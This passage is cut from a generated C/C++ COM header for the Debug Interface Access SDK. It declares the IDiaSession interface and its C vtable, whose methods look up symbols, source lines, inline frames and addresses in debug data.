IDiaAddressMapVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaAddressMap_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaAddressMap_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaAddressMap_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaAddressMap_get_addressMapEnabled(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressMapEnabled(This,pRetVal) ) \n\n#define IDiaAddressMap_put_addressMapEnabled(This,NewVal)\t\\\n    ( (This)->lpVtbl -> put_addressMapEnabled(This,NewVal) ) \n\n#define IDiaAddressMap_get_relativeVirtualAddressEnabled(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddressEnabled(This,pRetVal) ) \n\n#define IDiaAddressMap_put_relativeVirtualAddressEnabled(This,NewVal)\t\\\n    ( (This)->lpVtbl -> put_relativeVirtualAddressEnabled(This,NewVal) ) \n\n#define IDiaAddressMap_get_imageAlign(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_imageAlign(This,pRetVal) ) \n\n#define IDiaAddressMap_put_imageAlign(This,NewVal)\t\\\n    ( (This)->lpVtbl -> put_imageAlign(This,NewVal) ) \n\n#define IDiaAddressMap_set_imageHeaders(This,cbData,pbData,originalHeaders)\t\\\n    ( (This)->lpVtbl -> set_imageHeaders(This,cbData,pbData,originalHeaders) ) \n\n#define IDiaAddressMap_set_addressMap(This,cData,pData,imageToSymbols)\t\\\n    ( (This)->lpVtbl -> set_addressMap(This,cData,pData,imageToSymbols) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaAddressMap_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaSession_INTERFACE_DEFINED__\n#define __IDiaSession_INTERFACE_DEFINED__\n\n/* interface IDiaSession */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaSession;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"2F609EE1-D1C8-4E24-8288-3326BADCD211\")\n    IDiaSession : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_loadAddress( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propput] */ HRESULT STDMETHODCALLTYPE put_loadAddress( \n            /* [in] */ ULONGLONG NewVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_globalScope( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getEnumTables( \n            /* [out] */ IDiaEnumTables **ppEnumTables) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getSymbolsByAddr( \n            /* [out] */ IDiaEnumSymbolsByAddr **ppEnumbyAddr) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findChildren( \n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findChildrenEx( \n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findChildrenExByAddr( \n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findChildrenExByVA( \n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findChildrenExByRVA( \n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findSymbolByAddr( \n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [out] */ IDiaSymbol **ppSymbol) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findSymbolByRVA( \n            /* [in] */ DWORD rva,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [out] */ IDiaSymbol **ppSymbol) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findSymbolByVA( \n            /* [in] */ ULONGLONG va,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [out] */ IDiaSymbol **ppSymbol) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findSymbolByToken( \n            /* [in] */ ULONG token,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [out] */ IDiaSymbol **ppSymbol) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE symsAreEquiv( \n            /* [in] */ IDiaSymbol *symbolA,\n            /* [in] */ IDiaSymbol *symbolB) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE symbolById( \n            /* [in] */ DWORD id,\n            /* [out] */ IDiaSymbol **ppSymbol) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findSymbolByRVAEx( \n            /* [in] */ DWORD rva,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [out] */ IDiaSymbol **ppSymbol,\n            /* [out] */ long *displacement) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findSymbolByVAEx( \n            /* [in] */ ULONGLONG va,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [out] */ IDiaSymbol **ppSymbol,\n            /* [out] */ long *displacement) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findFile( \n            /* [in] */ IDiaSymbol *pCompiland,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSourceFiles **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findFileById( \n            /* [in] */ DWORD uniqueId,\n            /* [out] */ IDiaSourceFile **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findLines( \n            /* [in] */ IDiaSymbol *compiland,\n            /* [in] */ IDiaSourceFile *file,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findLinesByAddr( \n            /* [in] */ DWORD seg,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findLinesByRVA( \n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findLinesByVA( \n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findLinesByLinenum( \n            /* [in] */ IDiaSymbol *compiland,\n            /* [in] */ IDiaSourceFile *file,\n            /* [in] */ DWORD linenum,\n            /* [in] */ DWORD column,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInjectedSource( \n            /* [in] */ LPCOLESTR srcFile,\n            /* [out] */ IDiaEnumInjectedSources **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getEnumDebugStreams( \n            /* [out] */ IDiaEnumDebugStreams **ppEnumDebugStreams) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineFramesByAddr( \n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineFramesByRVA( \n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineFramesByVA( \n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineeLines( \n            /* [in] */ IDiaSymbol *parent,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineeLinesByAddr( \n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineeLinesByRVA( \n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineeLinesByVA( \n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineeLinesByLinenum( \n            /* [in] */ IDiaSymbol *compiland,\n            /* [in] */ IDiaSourceFile *file,\n            /* [in] */ DWORD linenum,\n            /* [in] */ DWORD column,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInlineesByName( \n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD option,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findAcceleratorInlineeLinesByLinenum( \n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ IDiaSourceFile *file,\n            /* [in] */ DWORD linenum,\n            /* [in] */ DWORD column,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findSymbolsForAcceleratorPointerTag( \n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ DWORD tagValue,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findSymbolsByRVAForAcceleratorPointerTag( \n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ DWORD tagValue,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findAcceleratorInlineesByName( \n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD option,\n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE addressForVA( \n            /* [in] */ ULONGLONG va,\n            /* [out] */ DWORD *pISect,\n            /* [out] */ DWORD *pOffset) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE addressForRVA( \n            /* [in] */ DWORD rva,\n            /* [out] */ DWORD *pISect,\n            /* [out] */ DWORD *pOffset) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findILOffsetsByAddr( \n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findILOffsetsByRVA( \n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findILOffsetsByVA( \n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInputAssemblyFiles( \n            /* [out] */ IDiaEnumInputAssemblyFiles **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInputAssembly( \n            /* [in] */ DWORD index,\n            /* [out] */ IDiaInputAssemblyFile **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInputAssemblyById( \n            /* [in] */ DWORD uniqueId,\n            /* [out] */ IDiaInputAssemblyFile **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getFuncMDTokenMapSize( \n            /* [out] */ DWORD *pcb) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getFuncMDTokenMap( \n            /* [in] */ DWORD cb,\n            /* [out] */ DWORD *pcb,\n            /* [size_is][out] */ BYTE *pb) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getTypeMDTokenMapSize( \n            /* [out] */ DWORD *pcb) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getTypeMDTokenMap( \n            /* [in] */ DWORD cb,\n            /* [out] */ DWORD *pcb,\n            /* [size_is][out] */ BYTE *pb) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getNumberOfFunctionFragments_VA( \n            /* [in] */ ULONGLONG vaFunc,\n            /* [in] */ DWORD cbFunc,\n            /* [out] */ DWORD *pNumFragments) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getNumberOfFunctionFragments_RVA( \n            /* [in] */ DWORD rvaFunc,\n            /* [in] */ DWORD cbFunc,\n            /* [out] */ DWORD *pNumFragments) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getFunctionFragments_VA( \n            /* [in] */ ULONGLONG vaFunc,\n            /* [in] */ DWORD cbFunc,\n            /* [in] */ DWORD cFragments,\n            /* [size_is][out] */ ULONGLONG *pVaFragment,\n            /* [size_is][out] */ DWORD *pLenFragment) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getFunctionFragments_RVA( \n            /* [in] */ DWORD rvaFunc,\n            /* [in] */ DWORD cbFunc,\n            /* [in] */ DWORD cFragments,\n            /* [size_is][out] */ DWORD *pRvaFragment,\n            /* [size_is][out] */ DWORD *pLenFragment) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getExports( \n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE getHeapAllocationSites( \n            /* [out] */ IDiaEnumSymbols **ppResult) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE findInputAssemblyFile( \n            /* [in] */ IDiaSymbol *pSymbol,\n            /* [out] */ IDiaInputAssemblyFile **ppResult) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaSessionVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaSession * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaSession * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaSession * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_loadAddress )( \n            IDiaSession * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_loadAddress )( \n            IDiaSession * This,\n            /* [in] */ ULONGLONG NewVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_globalScope )( \n            IDiaSession * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *getEnumTables )( \n            IDiaSession * This,\n            /* [out] */ IDiaEnumTables **ppEnumTables);\n        \n        HRESULT ( STDMETHODCALLTYPE *getSymbolsByAddr )( \n            IDiaSession * This,\n            /* [out] */ IDiaEnumSymbolsByAddr **ppEnumbyAddr);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildren )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenEx )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByAddr )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByVA )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findChildrenExByRVA )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolByAddr )( \n            IDiaSession * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [out] */ IDiaSymbol **ppSymbol);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolByRVA )( \n            IDiaSession * This,\n            /* [in] */ DWORD rva,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [out] */ IDiaSymbol **ppSymbol);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolByVA )( \n            IDiaSession * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [out] */ IDiaSymbol **ppSymbol);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolByToken )( \n            IDiaSession * This,\n            /* [in] */ ULONG token,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [out] */ IDiaSymbol **ppSymbol);\n        \n        HRESULT ( STDMETHODCALLTYPE *symsAreEquiv )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *symbolA,\n            /* [in] */ IDiaSymbol *symbolB);\n        \n        HRESULT ( STDMETHODCALLTYPE *symbolById )( \n            IDiaSession * This,\n            /* [in] */ DWORD id,\n            /* [out] */ IDiaSymbol **ppSymbol);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolByRVAEx )( \n            IDiaSession * This,\n            /* [in] */ DWORD rva,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [out] */ IDiaSymbol **ppSymbol,\n            /* [out] */ long *displacement);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolByVAEx )( \n            IDiaSession * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ enum SymTagEnum symtag,\n            /* [out] */ IDiaSymbol **ppSymbol,\n            /* [out] */ long *displacement);\n        \n        HRESULT ( STDMETHODCALLTYPE *findFile )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *pCompiland,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD compareFlags,\n            /* [out] */ IDiaEnumSourceFiles **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findFileById )( \n            IDiaSession * This,\n            /* [in] */ DWORD uniqueId,\n            /* [out] */ IDiaSourceFile **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findLines )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *compiland,\n            /* [in] */ IDiaSourceFile *file,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findLinesByAddr )( \n            IDiaSession * This,\n            /* [in] */ DWORD seg,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findLinesByRVA )( \n            IDiaSession * This,\n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findLinesByVA )( \n            IDiaSession * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findLinesByLinenum )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *compiland,\n            /* [in] */ IDiaSourceFile *file,\n            /* [in] */ DWORD linenum,\n            /* [in] */ DWORD column,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInjectedSource )( \n            IDiaSession * This,\n            /* [in] */ LPCOLESTR srcFile,\n            /* [out] */ IDiaEnumInjectedSources **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *getEnumDebugStreams )( \n            IDiaSession * This,\n            /* [out] */ IDiaEnumDebugStreams **ppEnumDebugStreams);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByLinenum )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *compiland,\n            /* [in] */ IDiaSourceFile *file,\n            /* [in] */ DWORD linenum,\n            /* [in] */ DWORD column,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineesByName )( \n            IDiaSession * This,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD option,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findAcceleratorInlineeLinesByLinenum )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ IDiaSourceFile *file,\n            /* [in] */ DWORD linenum,\n            /* [in] */ DWORD column,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ DWORD tagValue,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *parent,\n            /* [in] */ DWORD tagValue,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findAcceleratorInlineesByName )( \n            IDiaSession * This,\n            /* [in] */ LPCOLESTR name,\n            /* [in] */ DWORD option,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *addressForVA )( \n            IDiaSession * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ DWORD *pISect,\n            /* [out] */ DWORD *pOffset);\n        \n        HRESULT ( STDMETHODCALLTYPE *addressForRVA )( \n            IDiaSession * This,\n            /* [in] */ DWORD rva,\n            /* [out] */ DWORD *pISect,\n            /* [out] */ DWORD *pOffset);\n        \n        HRESULT ( STDMETHODCALLTYPE *findILOffsetsByAddr )( \n            IDiaSession * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findILOffsetsByRVA )( \n            IDiaSession * This,\n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findILOffsetsByVA )( \n            IDiaSession * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFiles )( \n            IDiaSession * This,\n            /* [out] */ IDiaEnumInputAssemblyFiles **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInputAssembly )( \n            IDiaSession * This,\n            /* [in] */ DWORD index,\n            /* [out] */ IDiaInputAssemblyFile **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInputAssemblyById )( \n            IDiaSession * This,\n            /* [in] */ DWORD uniqueId,\n            /* [out] */ IDiaInputAssemblyFile **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *getFuncMDTokenMapSize )( \n            IDiaSession * This,\n            /* [out] */ DWORD *pcb);\n        \n        HRESULT ( STDMETHODCALLTYPE *getFuncMDTokenMap )( \n            IDiaSession * This,\n            /* [in] */ DWORD cb,\n            /* [out] */ DWORD *pcb,\n            /* [size_is][out] */ BYTE *pb);\n        \n        HRESULT ( STDMETHODCALLTYPE *getTypeMDTokenMapSize )( \n            IDiaSession * This,\n            /* [out] */ DWORD *pcb);\n        \n        HRESULT ( STDMETHODCALLTYPE *getTypeMDTokenMap )( \n            IDiaSession * This,\n            /* [in] */ DWORD cb,\n            /* [out] */ DWORD *pcb,\n            /* [size_is][out] */ BYTE *pb);\n        \n        HRESULT ( STDMETHODCALLTYPE *getNumberOfFunctionFragments_VA )( \n            IDiaSession * This,\n            /* [in] */ ULONGLONG vaFunc,\n            /* [in] */ DWORD cbFunc,\n            /* [out] */ DWORD *pNumFragments);\n        \n        HRESULT ( STDMETHODCALLTYPE *getNumberOfFunctionFragments_RVA )( \n            IDiaSession * This,\n            /* [in] */ DWORD rvaFunc,\n            /* [in] */ DWORD cbFunc,\n            /* [out] */ DWORD *pNumFragments);\n        \n        HRESULT ( STDMETHODCALLTYPE *getFunctionFragments_VA )( \n            IDiaSession * This,\n            /* [in] */ ULONGLONG vaFunc,\n            /* [in] */ DWORD cbFunc,\n            /* [in] */ DWORD cFragments,\n            /* [size_is][out] */ ULONGLONG *pVaFragment,\n            /* [size_is][out] */ DWORD *pLenFragment);\n        \n        HRESULT ( STDMETHODCALLTYPE *getFunctionFragments_RVA )( \n            IDiaSession * This,\n            /* [in] */ DWORD rvaFunc,\n            /* [in] */ DWORD cbFunc,\n            /* [in] */ DWORD cFragments,\n            /* [size_is][out] */ DWORD *pRvaFragment,\n            /* [size_is][out] */ DWORD *pLenFragment);\n        \n        HRESULT ( STDMETHODCALLTYPE *getExports )( \n            IDiaSession * This,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *getHeapAllocationSites )( \n            IDiaSession * This,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( \n            IDiaSession * This,\n            /* [in] */ IDiaSymbol *pSymbol,\n            /* [out] */ IDiaInputAssemblyFile 